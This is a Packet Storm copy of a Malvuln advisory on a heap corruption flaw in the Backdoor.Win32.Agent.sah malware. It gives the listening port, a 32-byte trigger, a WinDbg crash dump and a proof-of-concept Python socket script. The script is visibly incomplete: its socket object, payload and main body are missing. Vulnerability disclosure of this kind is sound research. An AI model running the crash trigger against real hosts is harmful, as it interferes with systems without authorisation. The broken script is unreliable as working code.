exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Backdoor.Win32.Agent.sah MVID-2021-0386 Heap Corruption

Backdoor.Win32.Agent.sah MVID-2021-0386 Heap Corruption
Posted Nov 1, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Agent.sah malware suffers from a heap corruption vulnerability.

tags | exploit
systems | windows
SHA-256 | 9bd7d625393c123503e2aacbba917dba574c419749f4f776de7c51f373105884

Backdoor.Win32.Agent.sah MVID-2021-0386 Heap Corruption

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3ee7a90b5fc3f2b7ba68911e8220df17.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.sah
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 33308. Third-party attackers who can reach infected systems can send a 32 byte junk payload causing a heap corruption overwriting the ECX register.
Type: PE32
MD5: 3ee7a90b5fc3f2b7ba68911e8220df17
Vuln ID: MVID-2021-0386
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/01/2021

Memory Dump:
(248.13b0): Unknown exception - code c0000017 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414148 edx=00000053 esi=00000003 edi=00000003
eip=7709ed3c esp=046bf26c ebp=046bf3fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
7709ed3c c21400 ret 14h

0:004> .ecxr
eax=046bfba8 ebx=046bfc40 ecx=41414148 edx=00000053 esi=0029b000 edi=00000000
eip=77103c59 esp=046bfba8 ebp=046bfc00 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
77103c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:046bfbfc=fdfa2f2d

0:004> !analyze -v
* *
* Exception Analysis *
* *

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

77103c59 8b4dfc mov ecx,dword ptr [ebp-4]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77103c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
ExceptionCode: c0000017
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 41414148


PROCESS_NAME: Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.





ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer




LAST_CONTROL_TRANSFER: from 7707173a to 77103c59

046bfc00 7707173a 13145b00 02450000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b
046bfc40 770713ee 0000000c 00000000 13145b00 ntdll!RtlpAllocateHeapInternal+0x33a
046bfc5c 13142094 02450000 0000000c 41414140 ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
046bfc74 1314214c 41414140 046bfca0 131427f2 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x2094
046bfc80 131427f2 41414140 00000008 0246d000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x214c
046bfca0 13145c3e 41414140 0246cfe0 00000000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x27f2
046bff80 73df8654 0246cfe0 73df8630 4a421bc1 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x5c3e
046bff94 77094a77 0246cfe0 fdfa2cf1 00000000 kernel32!BaseThreadInitThunk+0x24
046bffdc 77094a47 ffffffff 770b9ea9 00000000 ntdll!__RtlUserThreadStart+0x2f
046bffec 00000000 13145b00 0246cfe0 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: ~4s; .ecxr ; kb

SYMBOL_NAME: heap_corruption!heap_corruption


MODULE_NAME: heap_corruption

IMAGE_NAME: heap_corruption


FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption

BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption

Followup: MachineOwner

from socket import *

def doit():
s.connect((MALWARE_HOST, PORT))


print("Backdoor.Win32.Agent.sah / Heap Corruption")
print("MD5: 3ee7a90b5fc3f2b7ba68911e8220df17")
print("By Malvuln");

if __name__=="__main__":

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By